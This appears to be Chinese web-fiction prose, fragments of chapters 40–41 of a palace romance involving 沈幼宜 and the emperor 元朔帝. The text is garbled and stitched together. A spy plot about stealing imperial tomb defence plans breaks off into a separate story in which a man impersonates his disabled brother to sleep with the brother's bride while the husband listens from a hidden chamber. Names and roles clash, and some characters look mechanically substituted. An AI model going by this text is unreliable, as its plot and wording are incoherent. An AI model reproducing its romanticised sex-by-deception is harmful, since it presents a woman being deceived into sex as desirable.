如果规劝不住,那就只能寄希望于成功了,希望娘娘得偿所愿,殿下宽容接纳,这样她还能夹在门缝里苟活。 不然太子殿下哪天想起来她办事不利这件事,非得将她发落去浣衣局不可。 小厨房里,玉书一边教沈幼宜做点心,一边低声说起魏庄那边传过来的消息,“魏庄主要姑娘在一个月之内拿到皇陵布防图。” 沈幼宜眉眼微沉,问,“皇陵即将建好,他们现在要布防图做什么?” “这奴婢也不知,传信的人说,沈拂小姐会参与这个任务,请您务必要上心,在一个月内拿到东西。” 沈幼宜冷笑,魏庄这是赤裸裸的威胁,见她在东宫消极怠工,连表面和平都不愿意维持了,直接拿她亲妹妹的性命做威胁,以防她生出二心。 说起来,她和沈拂都是魏庄庄主的亲生女儿,但是在那个地方,地位甚至不如被收养来的杀手。 大家称呼她们为小姐,但都没将她们当成主子看待,只是一个有点用处的工具罢了。 “姑娘别急,我们暗中培养的人已经查到了沈夫人的一丝下落,只需静待一段时日,我们必定可以救出沈夫人,脱离魏庄。” “都已经这么久了,不差一时半刻,莫要着急,慢慢来,一定不能给魏庄那边察觉。” “是。” 说完话,沈幼宜的点心也做好了,她将点心装进食盒,然后就被玉宁拉到寝房中梳妆打扮。 玉宁梳妆的手艺很好,给沈幼宜换好衣裙,又宜了个简单的发髻,戴上寥寥几个样式素朴的白玉簪子就大功告成了。 “娘娘天生丽质,其实无需华丽繁复的衣裙,这身素净装扮更能凸显娘娘的风华。” 沈幼宜笑着点头,拎着食盒就往怀德院走去。 不过很可惜,元朔帝并不在怀德院中,沈幼宜扑了个空,兴致缺缺地拎着食盒往回走。 结果在路过一处竹林时听见了里面利刃破空的声音。 她对这种声音很敏感,立马停下脚步往里面张望。 东宫不会有人动刀剑,这个声音更像是独自一人在舞剑。 能在这种地方放肆舞剑的,除了元朔帝也就没有别人了吧。 “玉静你们站在外面等等,我自己进去。” 沈幼宜将婢女都留在竹林外,脚步轻轻地走了进去。 舞剑声越来越近,沈幼宜也终于看见了竹林中央的御剑之人。 果然是元朔帝。 “是的。”玉宁注意到萧予清往屋子里面张望的眼神,试探着说:“二殿下是来这里找什么人的吗?” “没、没有,就是随便走走,正巧走到这了。”萧予清紧张地挠了挠头,咽了下口水。 “不是说要请本殿下吃东西吗?那,不进去吃吗。” 很明显,这位小殿下想进娘娘住的正房里看看。 “那是自然,二殿下请。” 玉宁陪着萧予清进了屋子,然后就借着拿点心的由头退出来寻沈幼宜。 “是小皇孙殿下来了,娘娘怎么还在厨房里呢,您快过去看看他呀,这孩子一看就是故意过来的,说不准就是来见娘娘的呢!”玉宁在小厨房里找到了沈幼宜,连忙道。 “我…”沈幼宜转头看了眼玉书,看上去有些犹豫。 “去看看吧,娘娘不也想和小殿下说几句话吗,血脉亲缘是斩不断的,就算不是娘娘带大的,小殿下肯定也是亲近娘娘的。”玉书暗暗叹气,也跟着开口劝。 其实,玉书知道沈幼宜在犹豫什么,她不是怕孩子不亲近,只是怕会伤害他们,毕竟她们真实身份不足为外人道也,以后会发生谁也说不准,现在过于亲近,万一以后东窗事发,恐会连累了孩子。 沈幼宜在心里叹气,面上却笑着,“玉书说得对,走吧,我去换身衣裳,你们陪我去见见吧。” 他的贵妃把什么都忘记了,难道还会独独记得与陵阳侯那一场短暂的缘分吗? 不过是凭着知道的身份经历祭拜一个不相干的陌生男子,旧梦重温,说不定能想起些什么,哪会有多少真情。 沈幼宜不意他会这样摆明了讲,伸手接过药碗,先用羹勺尝了几口,让自己慢慢适应药的味道,而后才一饮而尽,五官紧皱成一团,除了喝两口滋味清甜的熟饮子,什么点心也吃不下。 她去道观原本也不是为了祭奠亡夫,可偏偏又不能不引导他这么想。 她见识过元朔帝的掌控欲,天子何等尊崇的身份,她入了宫,却惦记故人,这些他固然气恼万分,最后却也都容下了。 “他原本出身勋贵,年纪轻轻却埋骨异乡,我越受陛下宠爱,心里越是不安,只想让他多受些人间香火。” 沈幼宜伸手环抱住眼前的人:“已经三年了,我不是故意要教您不高兴的。” 元朔帝颔首,低低一笑,爱怜道:“宜娘是个好孩子,朕一直都知道的。” 第 40 章 第 40 章 贵妃要独身往道观去听经,一去便要住两三日,难免要先到望明殿与皇后处辞行,恰逢盂兰盆节,沈幼宜索性随元朔帝一并去给太后请安。 他们母子之间的话总是更多些,有了元朔帝这座靠山在前面挡着,太后不会想着和她一个不起眼的儿媳问东问西。 太后虽不清楚一个臣子的忌日,却十分奇怪,笑吟吟打趣皇帝道:“你们两个冤家是又闹什么别扭,才好了一会子,皇帝又把咱们贵妃往道观里赶,是不是又要让贵妃住个一年半载,静气修心?” 元朔帝略有些尴尬,他一向不愿意提起两人分别许久的事情,宋院使说这类疾病再度发作,总要有个诱因,至于这件事到底是什么,那便不得而知。 宜娘又不是真正猎户的女儿,说不定连只鸡也没亲手杀过,被逐出宫前曾亲眼瞧见那些奉命煎药的下人死在她面前,很容易惊吓成病。 她前些日子甚至还悄悄为那些奴婢供奉了牌位,生怕他知晓。 决断已下,他是极少后悔的,可每每想到此处,都不免为那时的薄情生出一点后怕。 皇后见元朔帝迟迟不语,稍有些担忧,轻轻道:“陛下若是想教贵妃听些佛经道典,妾请些道士女冠到宫里也就是了,道观离宫甚远,仆从难免有侍奉不周到的地方,不如教她同妾来作伴。” 元朔帝望了一眼皇后,转头对太后笑道:“还不是上一回朕随阿娘去听观主讲经,贵妃不巧正病着,没法子教她随行,偏要去瞧瞧有什么好看的,儿子难不成也舍下国事,陪她一道去么?” 太后莞尔,哪里是贵妃病着,分明是他们自己两不相见惹来的一场事,贵妃被下了面子,心里便不痛快,如今和好如初就想着发作出来,刺一刺天子:“阿娘也是老了,你们的事情我也管不着,倒是子琰,也小二十岁的年纪了,他阿兄做了好几回父亲,你们做父母的怎么就不知道上一上心?” 元朔帝喝了半盏茶,这话他听得多了,不觉得有什么,缓缓道:“阿娘,朕想着宗室成婚一向甚早,可少有恩爱的夫妻,子琰是个散漫的性子,朕想成婚与否都听他自己的意思,咱们做长辈的还是少插手些为好。” 太后是极不赞成这话的,略有些不悦地瞥他一眼,又不能像皇帝小时候那样对他动手:“太子妃难道不是子惠自己选出来的,瞧他们夫妻如今成什么样子,冷冰冰的,一点热乎气儿也没有,你自己不……那么纵着他,说不定选个温柔贤淑的出来,两人举案齐眉,不知道过得有多舒心。” 太子从怀中将那枚平安符小心翼翼拿出,像是炫耀一般,只给兄长瞧了一瞧,随后却又放了回去,迟疑道:“盈盈要是问起来,你就说这符丢了。” 他们分别时盈盈千叮万嘱,这符不能给他人佩戴,沾了旁人的身就不灵了。 这些小儿女的私事元朔帝确实不知,也不必知道,他只知太子养父年少时与友人互相许婚,后来他养父收养了二郎,而沈家是过了几年才生下这位弟媳,两人年岁相差颇多,不见得是对佳偶。 虽然听到他们婚前亲热时有些不喜,然而那毕竟是他们夫妻之间的事情,他不愿多问,极快打断道:“我记下了。” 太子却不愿意就此住口,其实他不过是想要兄长替他生个孩子,夫妻燕好时两人沉默不语最好,这便不会滋生出其他不该有的情愫,兄长无需将这出戏唱得尽善尽美。 即便兄长肯做,他也应了下来,但并不是那么乐见其成,在这偌大的国公府里,只有盈盈独属于他一人,太子不敢想象,若连她身边这个位置都能被旁人随意替代,那他这个废人的余生大约也再无半点乐趣。 他越说越心慌,几乎要挣扎站起来,然而最终还是重重跌坐回去,只来得及握住兄长一臂。 元朔帝见他酒后焦躁不安,正欲吩咐下人推他到侧房安歇,熬些汤水给他服下,孰料他却死死捉住自己衣袖不放,眼中迸出惊人的亮光,像是想出什么绝妙的主意。 “兄长,不如推我入密道罢!” “放肆!” 元朔帝在家时大多从容平和,对这个新认回的手足更宽容几分,然而他并非没有底线之人,容忍他这些时日的胡闹已属破例,听闻此言,立时火从心起,几乎收不住声音。 “你当弟妇是什么,可以任你亵玩的妓子?” 他乍闻密道,就知这个弟弟做何想,手下运力,反握回去,力道之重能捏碎那人骨骼,目中满是警告之意。 太子却似觉察不到痛,反而大笑出声,语带讥讽:“母亲将我新居安在此处,难道并无这层意思?” 元朔帝默然,镇国公府这些事情瞒不过圣上的耳目,母亲为二郎请了宫里的太医医治,原也不指望瞒得过去。 然而沈夫人请太医来治病并非出自对幼子的一片关切,却是为了他。 “一个出身高门的权臣,不贪钱,不好色,同僚提起皆是交口称赞,兵士争相拥护,你以为你是圣人还是完人?” 沈夫人慈爱地望着芝兰玉树的长子,那是她的骄傲,可为官之道和圣贤之道原本就是两回事,她道:“我的儿,你以为圣上会喜爱这样的臣子么?” 帝王都希望为臣者洁身自好,可也喜欢捏住臣子贪财好色的弱点。 当今这几位阁臣,除却陈阁老留恋年轻女子,频频纳妾,也有几位是只恋着夫人、从不纳妾的,但私下里也收受贿赂,在家乡广置田产,圣上心里明镜一样,只是不到该问的时候,便从来不问。 可元朔帝偏偏不食人间烟火一般,他不爱杯中物,家中更不短缺金银宜玉,不过女色总该沾一沾的。 沈夫人长叹道:“你真要我家断后不成!不过一个民女,随你拿捏就是,便是她知道了也不会不依,若二郎没出这等事,她休想踏进我家一步,如今她得了个金龟婿,日后我又许她抚养亲子,有夫有子,这是上天赐她的福分!” 更何况……裴氏不是没出过这样的事。 裴氏初建镇国公府时,曾有一位先祖爱慕守寡弟媳,又恐被外人得知,特于地下修暗道密室,方便夜间往来,锦衣卫刺知此事后,太\祖也不过闲暇时与那位镇国公开过几个隐晦玩笑敲打,并不降罪。 此后历任镇国公为避嫌疑,都封闭当年寡媳所居院落,不许人居住,直到二郎被认回来,才安置在这处。 新居从外看来与别的院落并无差异,只是房内设有长约四步的密室,紧贴主人闺帐,内里仅能容一张小榻和几样家具,方便那弟媳从外扭动机关,入内与夫兄偷欢。 金陵冬日地湿寒冷,贵人们建屋时常设夹层用以填塞取暖器物,即便真有细心的人察觉出内外尺寸不妥,至多只会以为是墙壁增厚保暖的缘故。 但太子要从他书房内进新居密室,那意味大不相同……和秦楼楚馆听墙角的老鸨有何区别! 元朔帝思量他这些时日事忙,是否只重饮食衣物上的关怀,忽略教导这个弟弟当如何振作,竟令这个铁骨铮铮的男子变作整日以酒消愁的扭曲愚夫,连这等主意也想得出来。 “毕竟原本该是我的新婚夜,难道我还不能分一杯羹?” 太子忆起妻子姣好端丽的容貌,从前便惹得许多登徒子觊觎,即便是他不曾沾染过艳闻的兄长他也不能全然放心,冷然道:“兄长若问心无愧,哪里怕人旁听?” 这事他应允做下已是乱了人伦,哪里是能容许第三人旁听的正经事! 元朔帝正欲申饬这个异想天开的弟弟,然而侍从却自外轻轻敲窗,不过笃笃两声,随后禀报道:“世子爷,二公子,新妇那边的侍女听闻二公子到了此处,请您回去。” 他们在此间的争执霎时显得可笑,无论二郎这个荒唐疯狂的念头他应允与否,他都要清醒地去到新妇的房中,与她野……代替她的丈夫与她行周公之礼。 二郎看与不看,本来就只有他这个亲手做下此事的罪人知晓。 元朔帝松开他的手,淡淡道:“那也随你的意,只是今夜之后,你需应我一件事。” 太子见兄长煎熬挣扎,心内并非不痛,可每每想到自己惨淡余生,又见长兄风神特秀,即便饮酒也如醉玉颓山,令人望之倾慕。 这样的郎君,盈盈当真会不心动么? 然而他也是有着骄傲的人,心下虽偶有自责,却又仰起头,故作懒散道:“什么事?” “即日起,谨遵医嘱,戒酒、止怒。” 元朔帝握住他肩,恢复了往常平和的神色,沉声道:“二郎,天无绝人之路,即便上苍不怜,可人命也并非天定,你今后要走什么路,不看你躯体完整与否,全看你的心性。” 分别多年,幼时不曾相伴本就是桩憾事,玄朗的心性学识偏弱也并非他本心,及至如今,元朔帝自知不该用长兄身份与权势压他一头,言多必轻,只重重叹了一声,在弟弟的肩上一拍,吩咐左右开门。 红麝远远立在廊下,新郎官的喜服颜色格外显眼,房门开合之间,她瞥见世子爷坐在椅上,看不清轮廓,似乎正在训斥站在一侧的姑爷,不知什么东西碎了一地,而她家姑爷出来时面色自然也称不上一句好。 换作从前她定要替娘子说上几句,可如今姑爷成了国公爷的儿子,不是她能置喙的寻常男子,从前那样熟悉的人,只靠近时轻轻向她一瞥,红麝便觉得有些喘不过气来。 好在这位新姑爷没说出什么要分房别居的话,不要侍从引路,只讨了一盏琉璃美人灯,道:“走罢。” 沈幼宜并不晓得新婚之夜居然会有新郎撇下妻子不管,会跑去兄长房间夜谈,她将婆母给的小册子又瞧了几页,一时颊侧微红,急急忙忙喝了半盏水,听到门口传来红麝的声音,似乎正有人拾级而上,她连忙坐回去,把册子塞到枕下,将喜帕遮得严严实实。 只是她还有些担忧。 太子高大魁梧,又和她一样不大习惯在金陵权贵子弟间应酬,要是被人灌得大醉,红麝一个弱女子哪里扶不住他。 然而她实在是多虑,房门吱呀一声,一片朦朦胧胧的红里,那人不疾不徐向她走来,吩咐红麝出去,声音平和威严,只是身上那股难闻的酒气还能证明今日宾客的难缠。 沈幼宜放下心来,其实国公府里成婚规矩虽多,却比她原先参加过的所有婚事都要合她心意,新妇入了洞房便能自在,四周都静悄悄的,不似有些人专爱到新房里闹,什么要将新郎扒光衣服吊起来抽打,还要新妇将手绢塞入夫君下裤,从另一侧扯出…… 若是这样成婚,那她宁可两个人悄悄拜天地算了。 红麝将门轻合,那人迟疑片刻才向她走来,沈幼宜从帕底窥见一双男子的靴,他似乎比从前又强健许多,远远瞧着还算赏心悦目,可步至她近前时,却有一股无形中的压迫感,教她喘不过气来。 方才几乎捏碎她夫君腕骨的手挑开新妇的喜帕,她对此自然一无所知,反倒攥住他喜服袍袖,借着新郎扶住她发冠的力道仰头瞧他容貌,神情毫无防备,甚至声音里含着些许委屈。 “郎君,你怎么才来呀?” 她坐着仰头,根本看不清夫君被烛影隐去一半的面容,只是他不经意间抬手抚了抚咽喉那处,他的肌肤光洁,并无半点痕迹。 只是大概这半年来没见日头,和她一样,肤色比从前更加白皙。 元朔帝临来时在喉间贴了一片假肤,尽管新妇未必知晓,但他仍有所顾虑,除了比弟弟更为高大健硕的身躯,尽力修饰过自己面容上的不足。 他出外任官时曾破获一桩采花大案,一个面容姣好、身量纤弱的男子利用自己雌雄难分的容貌进入许多女郎闺房,用替新妇做绣活的名义诱奸未婚少女,直到新婚夫妻义绝之事层出不穷,才有人疑心,报案到官府。 那人遮掩男子咽喉所用的,就是这种价格高昂的假皮。 不过身上多了些异物还是有些不适,被她如此近身细看,他下意识还是摸了摸那处。 好在,她并未发现。 沈幼宜正想要他帮自己卸下发冠,可身下的床帐却传来一声轻微响动,她惊吓起身,扑进郎君宽厚胸膛寻求安慰:“阿牛哥,有老鼠!” 然而她的丈夫却身子微僵,像是不大习惯她这样亲密似的,怔了怔才抚了她背轻拍两下:“地龙初热,偶尔会有声响,不是虫鼠。” 沈幼宜没设过地龙取暖,但国公府又不会把粮食存放在此处,哪来偷吃的老鼠,不疑有他,但却觉得有些丢人,伏在他胸口不肯松手,羞赧道:“真的么?” 她的夫君气息平稳,显然不曾受到半点惊吓,微微笑道:“当然不会有,盈盈,你还信不过我么?” 然而在沈幼宜瞧不见的地方,元朔帝严峻的目光直射床帐附近挂着的杨妃出浴图,似乎要从杨妃腰间的那颗宝石处穿进墙后。 她的阿牛哥,显然已经来了。 燕国公怎么认了这么一个女儿回来,他倒是一家子骨肉团圆,这个女子却把皇室搅得天翻地覆。 半月前不是还对贵妃爱搭不理,那神情要多冷淡就有多冷淡,这才过了多久呢,连太子唯一的儿子都能送回东宫去,等卫氏生了儿女,还不知道有没有别人的活路! 她心口几乎有些气闷,痛心疾首道:“当初你不肯立杨氏为后,阿娘晓得你心底是猜忌她当年做过些手脚,担忧她在这个位置上会戕害嫔妃,这不是没有道理的事情,皇后大度能容,又是陪伴你最早的旧人,立她为后没什么不妥,要立后总要有个理由,可如今呢,卫氏她有什么?” 有时候臣下也会被天子的外表所欺,当初立皇后,他竟然说是先皇后临终前举荐皇后,他不忍违逆发妻的意思,把王氏与杨氏都气得不轻,彼此怨恨,两厢斗争了十余年,直到势微。 可轮到卫氏,又有什么说辞呢? 总不能说她生得漂亮,皇帝不看德行是否出众,就是喜欢这千娇百媚的美人,糊里糊涂就这么立了罢? 太后虽说也不大喜欢杨修媛,可重孙子都有了,心难免会倾斜一点到东宫身上:“她已经是贵妃了,一人之下,若日后皇后当真不好了……你立杨氏也说得过去,贵妃那份拈酸吃醋的劲头难道比当年的杨氏还小些?” “阿娘也说是一人之下。” 元朔帝忽而一笑,眉目舒展,缓和道:“朕只想教她在万人之上,难道不成么?” 40-50 第 41 章 第 41 章 太后惊异地看了他一眼,倒不是因为皇帝表露出来的意思,而是废立中宫之后的下一步。 作为曾经的皇后来说,这一点总归是令人心酸的,丈夫的身边又有了新人,给她位分、荣宠,做皇后的能容下她还不够,连守了许多年的位置也要一并让出去。 可她做了太后,从儿子的角度再看,皇帝只希望皇后能打理内廷,仔细妥帖地服侍丈夫,皇后的位置谁坐不是坐呢? 他是天子,想要抬举一个女人,简直是轻而易举。 且想抬举谁,就抬举谁。 从立了皇后却又保留长子的东宫之位起,皇后日后注定就是要伤心的。 “你宠着贵妃,没人会多说什么,这孩子确实生得聪明漂亮,服侍得皇帝舒心,可皇帝,你想没想过,这孩子日后要怎么办?” 元朔帝见只有崔氏在廊下闲坐,正要开口询问弟妇的去处,但这不免显得心躁轻浮,于是沈过了她,取一盏茶吃。 然而,崔氏准备的都是热茶。 他这两日更喜欢吃些薄荷冰茶。 崔氏让侍女拿了马蹄糕到姑爷手边,瞧着他咽下一口,才关切道:“怎么样?” 细小而绵软的果碎增添了糕点口感的层次,只是浇了些蜜糖在上面,有些甜腻,元朔帝细细咀嚼,官场里少不得察言观色,然而那道殷切的视线却令人颇感不适。 尽管这目光的主人很好地掩饰着那份奇异的紧张。 “母亲做的糕点味道和原来不大一样。”他笑了笑,“像是城南林家的手艺,我记得这家的果碎还算有名。” “这倒不是我做的。” 崔氏松了一口气,笑吟吟道:“盈盈还说叫我做给你吃,才备好了料,你就先送过来了,我一个人哪里能吃那么多。” 元朔帝垂眸看杯盏里飘散的茶雾,他没吩咐人送东西过来。 难怪,崔氏在试探他。 “盈盈不懂事,那日走得急,我不好说她,家里有的是庖厨,怎好劳动您。” 元朔帝不动声色道:“下人送来得有些迟了,竟浪费母亲一番心意。” 崔氏正要再问一问世子去了哪里,却见他不住向外望去,心思显然不在此处,一时了然。 可盈盈却说二郎婚后对她有些客气得过分,这孩子对亲娘也不说实话么? “盈盈在后院玩,你想寻她就去罢。” 崔氏压下满心的疑惑,其实她只是那么想了一下,都觉得荒谬,盈盈嫁进裴府只是因为玄朗与她有过婚约,镇国公夫人的名声她多少听过一点,对世子妇要求颇高,镇国公世子就算表里不一,也不至于…… 更说不通。 元朔帝顺势起身,易容术是有些奇效,可长时间与熟悉二郎的故人共处一室,难免露出破绽。 这不同于弟妇。 她是同他有过肌肤之亲的人,即便偶感疑惑,也会下意识寻些理由说服自己。 想到这几个字,他就会忆起她极韧的柔软腰肢,一阵阵热意涌起。 园中的梅林不见人影,元朔帝微微诧异,他走上前几步,越过梅林的土坡,再要回避已经来不及了。 她不在赏梅,却在池中戏水。 淡白色的雾里,弟妇一手拨开身上的花瓣,正背对着他。 风拂而过,掌心的热意才稍减了一些。 浅绿色的纱裹住她乌黑的发,起身时轻薄的罗衫紧紧贴在身上,显出一把纤细的腰肢。 浸了水的衣衫遮不住肌肤的玉色,大约觉得有些冷,只站起片刻,又坐了回去。 沈幼宜很喜欢浸在蕴着梅花香气的温泉水里,阶边冰雪未消,身子却暖融融的,她望着远处朦胧的阁楼亭台,惬意而悠闲。 但是……远处的高楼不知是谁家别院,今日似乎也有人登高望远。 天光朗朗,尽管沈幼宜看不清那人是男是女,可她拿不准对面的人是否能看得清自己。 衣裳怕湿,都搁在离池子不近不远的杌凳上,红麝去厨房给她端新蒸的酥酪。 她犹豫片刻,还是将身子蜷缩到水中,抬高了些声音,唤道:“来人……” 才一开口,吱呀吱呀的踩雪声就传到她耳畔,极有韵律,似乎可以窥见此人的平缓从容。 然而沈幼宜却猛然坐直,这样的脚步声绝非府中女婢! 她急忙转过身来,才要抽出发钗刺这胆大包天的贼,圆润白皙的肩已被一只手紧紧按住。 他比温泉热得多。沈幼宜轻阖双目,指尖落在他领口攥紧,与其说是她有意引诱,不如说是身前的男子步步紧逼,她只能节节后退。 水浸到他的腰腹,暖热有力的手掌穿过发丝,抚在她脑后,继而扣住了她的颈项,迫使她抬头。 颊侧还沾着一片柔嫩的花瓣和几丝不听话的发,她半潜在水中,艳丽至极,却又战战兢兢等待着居高临下的他,决定下一刻要做些什么。 元朔帝感受着她的忐忑,也感受着那一道旁窥的目光。 他不回望那壮丽楼阁,反而越发如芒在背。 就像腹部那道伤,用以警惕他的荒唐。 然而水浸过伤处的痛、那想象中近乎诅咒怨毒的目光,此刻却在他身上凝成实质的欲,男人些微的不忍,此刻多少有些虚伪。 她已经在他掌中,然而他还是停住了步伐,定定望向她,柔和道:“盈盈,害怕么?” 温泉活水汩汩,沈幼宜的脑子也咕嘟咕嘟,听不清夫君在说些什么,只扶住他一截腰身,用力汲取热雾里稀薄的空气。 管他呢,随他说什么都可以。 她啄米一般点头,郎君似乎犹豫片刻,极耻于如此一般,艰难吐出两个字来:“不怕。” 他知自己果然虚伪。 怎么会有人这样厚颜无耻,在她丈夫的注视下,诱骗她放松一些,任由他趁虚而入。 元朔帝想了想,她终究有些娇弱,和他有一点不符,在床外试一试,她也会少惧怕他些。 他顿了顿,道:“我轻些。” “娘子,夫人说饭已经安排下了,差奴婢来问,姑爷有什么爱吃的么?” 红麝的声音远远传来,她声量不低,在寒风里多了几许颤意。 这声音惊醒了沈幼宜,她想起早该回来的红麝,立刻捂住了双目,死死压住想要喊叫的念头。 他们刚刚……红麝不知道看见了多少! 光天化日之下,她和郎君在母亲居住的院子里亲亲热热,她也是色迷心窍,简直丢死人了! 元朔帝倒还镇定,见她惊慌蜷缩,如被泉水煮熟的一只虾,拍了拍沈幼宜的背,平和道:“母亲看着安排就好,我一切随众。“ 他没什么特别的偏好,不重口腹之欲,或许二郎当时会有格外喜欢的菜色,但崔夫人让红麝来的意思恐怕不止于此。 红麝本来见姑爷和娘子亲热,就悄悄退回去了,可是夫人却私下叮嘱,要她适时提醒娘子一句。 她有点吃不准如今二公子的脾性,就是寻常男子被人打搅了亲热,恐怕也会生气。 然而姑爷却没恼,吩咐她过去给娘子更衣。 沈幼宜被他抱在怀中安抚,羞意稍减,但不免担忧:“郎君的衣裳都湿了,这么出去还不受凉?” 庄子里每隔三月都会添些主子们的新衣,元朔帝缓了缓,待彻底平静下来才道:“头发还干着,不会耽搁太久,我叫人拿一身新的就是。” 只和她待了一会儿,出来就要换一身新衣裳,沈幼宜面上一阵热似一阵,好在那是她亲阿娘,顶多说几句胡闹,要是和婆母一道吃饭,一定要疑心她狐媚勾引丈夫,白天也不肯安分了。 元朔帝见她起身更衣,虽有侍女过来用帷幔遮挡,还是半侧过身去与沈幼宜交谈。 “母亲在这住着,少不得四处泡浴,我让人再拿些轻便的屏风过来遮挡。” 沈幼宜被侍女紧紧簇拥在锦障里,虽还疑心远处那人会不会注意到裴府外宅后院,可也安心许多,道了一声好。 等她回了客房,元朔帝的侍从才敢过来送衣。 世子不喜欢被人瞧见赤身模样,他们平时是服侍更换外衫,但今日世子只让他们把东西都放下就退远了。 饭菜还须得等些时候,沈幼宜坐在屋内梳妆,候着夫君回来,庶人穿衣有许多限制,但这不针对于镇国公府家的公子,他也穿起红色襕袍。 红麝才想说夫人有几句话要问娘子,不想姑爷动作如此迅速,于是福了一下/身,却被元朔帝叫住。 “我出去带了许多东西,你跟着他们去挑几件喜欢的。” 元朔帝不在意她藏着的那点小心思,和颜悦色道:“下去罢。” “郎君这到底是去办差还是替宫里采买?” 沈幼宜想起他假扮夫兄,总以为会是什么危险差事,但他却又闷在心里不和她说:“世子已经回府了?” 元朔帝否认:“兄长颇有雅兴,同我说去另一处赏景了。” 其实他应当先去宫里复命的。 三过家门而不入,这才是为臣尽忠的道理。 沈幼宜想想也是,此处有她和母亲,世子办完差回来散心,过来应酬弟弟的岳家反而拘束。 她笑了笑,有心臊他一下,踮起脚蹭了蹭他颊侧:“大伯赏的景再美,也不会有郎君的好。” 元朔帝扶住了她的腰,想起弟妇湿漉漉的目光。 确实,活色生香。 沈幼宜以为按照她这几日的经验,郎君不说脸红,也要侧过身去,但他却道:“兄长看得应当更全些。” 他曾试过一次望远镜,固然神奇,却没有紧身相贴这样纤毫毕现。 沈幼宜被他气得想笑,就算世子样样都好,连看的风景都比旁人更有意境,但她说的是这个吗? “不解风情的呆子!” 她推了一把,却纹丝未动,反被扣住腰后,按得更紧,咬牙切齿道:“世子难道也是去会女郎?” 元朔帝默了默,却也不想骗她:“这很难说。” 沈幼宜虚惊一场,又羞又恼:“郎君,你怎么偷看我!” 元朔帝无意做窥浴之徒,可他梦里这样反反复复做过。 水里不是省力的做法,但她应该不会那么疼。 他清了清干涩的喉咙,道:“母亲叫我来寻你。” 热气氤氲,沈幼宜胸口起伏不定,原本姝丽的容色更增艳光。 她一定是温泉泡久了气虚头晕,否则怎么会一见到夫君就有些喘不过气来? 沈幼宜艰难道:“阿娘难道没告诉你,我在做什么?” 元朔帝思索片刻:“说了的。” 崔氏说她在后院玩耍,她能玩些什么呢? 他不过是不愿深思。 沈幼宜满面嫣红,阿娘从前还日日担心二郎按捺不住,婚前就叫她怀了孩子,没想到才成婚几日呢,竟然连沐浴也不让二郎避着了。 是因为阿娘觉得她的夫君不能人道,想要自己撩拨他吗? “你欺负我!”她不知该怎么面对眼前的窘迫,咬着唇生气,“阿娘也帮着你欺负我!” 她的眼睛里含着一汪水,像是随时化作珍宜倾泻下来,元朔帝心思一动,从袖中取出纸包着的山楂蜜干,塞了一颗到弟妇唇边,言简意赅道:“吃些蜜饯。” 弟妇说给她带一点蜜饯就不会哭了,但都交给了侍女,他只随身带了一小包。 好歹他还记着自己的话,沈幼宜半启檀口,他送进来得却有些急,半个指节就噎住了她的呼吸。 他是故意的。 “味道还喜欢么?” 沈幼宜有些难耐,她口干,是要喝水的,谁要这时候吃蜜饯,何况他这样热,委委屈屈道:“好烫。” 元朔帝微怔,但此刻没有清心的茶,握紧了她的肩:“对不住,刚刚骑马……有些体热。” 他胸膛宽厚,挡住了沈幼宜头顶一片天光,池中有许多花瓣,可是那灼灼目光下,沈幼宜却怀疑自己寸缕未着。 “郎君一路辛苦,你也去洗一洗,好不好?” 她目光闪躲,元朔帝却面热更甚,他抚了抚弟妇鬓边绿纱,低哑道了一声好。 弟妇在邀他同浴。 沈幼宜松了一口气,她游近些许,正要叫红麝过来去吩咐厨房烧水,抬个浴盆到客房里,却被他踏住飘到湖石上的一角轻纱。 他绝非无心之失,官靴又进一步,漾出的温泉水浸深了靴身颜色。 似乎新婚客气疏离了两三日,她也会忘记,他眼神里时常有浓重而可怕的欲。 然而婚前他有世俗和阿娘约束,婚后夫兄又用礼法管教着他,目光虽然过分,没怎么欺负过她。 她低低惊呼,只得捉住夫君领口,连忙使了个眼色,不安道:“二郎别闹……那边有人!” 元朔帝抚住她的心口,她果然惊惶,有些颤颤巍巍的。 难得她生得这么好。新婚第三日,沈幼宜梳妆过来辞别沈夫人。 镇国公府的二少奶奶独自归宁,沈夫人是乐见其成的,即便圣上没派自己这个儿子外出,她也不愿意教玄章陪着沈氏回去。 一来熟悉二郎的故人再见到长子的时候必定吃惊,上上下下地打量他的变化,难免会问起一些长子不知道的隐私,虽说沈家早就败了,即便识破长子替娶,镇国公府也压得住这桩丑闻,可多一事总归不如少一事。 二来她仍有些担心,沈氏这个女儿着实生得好,就是皇爷那几位宠爱的宫眷也比不过,她一直以为世子是娇惯她的二郎,自然不会惧怕,若是日子久了,彼此生出情意,假夫妻做成真夫妻,镇国公府的脸都要丢尽了。 她望向沈幼宜的腹部,虽说他们兄弟两个的年纪还不到急于求子的地步,可她还是盼着尽早能尘埃落定,一切尽早回到正轨。 “二郎虽是有事,可到底没能陪着你回去,亲家母怕是要嫌我家礼数不周了。” 沈夫人让人拿了自己备下的玉镯来:“这还是先头娘娘在的时候私下给我的,没记在册上的好东西,算是我替二郎向亲家赔罪,你在庄子上先住一夜,多陪陪你母亲。” 郎君能入陛下的眼,沈幼宜只会替他欢喜,阿娘知道情由也不会生气,不过婆母的礼数如此周到,她笑盈盈道:“妾替阿娘沈过母亲好意,二郎是跟着世子去长见识的,妾和阿娘都明白他谋官不易,怎会多心呢?” 言者无心,听者却有意,沈夫人暗暗攥紧了帕子,朝廷选官,容貌体态十分要紧,要是二郎的腿没被炸伤,凭着长子举荐,也可得个不大不小的官做,可偏偏他连站起来都不成,淡淡道:“他之前散漫惯了,哪受得了官府管束,国公府这点薄产还是养得起闲人的。” 母亲口中二郎的性情与太子本人并不相同,沈幼宜有心为自己的夫君分辩,含笑道:“二郎自从跟着世子历练,性情沉稳了不少,如今又成了婚,该是个大人了。” 沈夫人觑了她几眼,她眼前的郎君当然沉稳,二郎闹脾气又不会闹到她面前去,不过笑了一声,平淡道:“且不说两浙文才辈出,金陵又是天子居所,四海英才汇聚于此,就算二郎从前在乡野间算个人物,到了京城,你也不必对他督促过严,夫妻失和就不好了。” 沈幼宜压下到唇边的话,低低应了一声是。 就连辍学耕地的陈伯父都会尽可能供养玄朗这个养子成才,她以为似镇国公府这等勋贵人家更应当勉励子孙上进才对。 怎么婆母的意思听起来却像是宁可出资养两个闲人,难道就因为二郎没从小养在她身边,不愿多费心力? 可她明明清楚,二郎的心比谁都高,否则他们在乡间安稳一生就好,不必从军赚取功名。 沈夫人等沈幼宜退出去许久才用指节叩案,叹气道:“二郎,出来罢,你媳妇已经回去了。” 车轮辘辘,侍女推了二公子的轮椅从屏风后走出。 太子讨厌人抱,特别是比他娇小许多的侍女,等轮椅停下,才自己伸手搭在座椅扶手处,吃力挪到上面。 只这么一个动作,他就满头大汗,用力时双手骨节毕现。 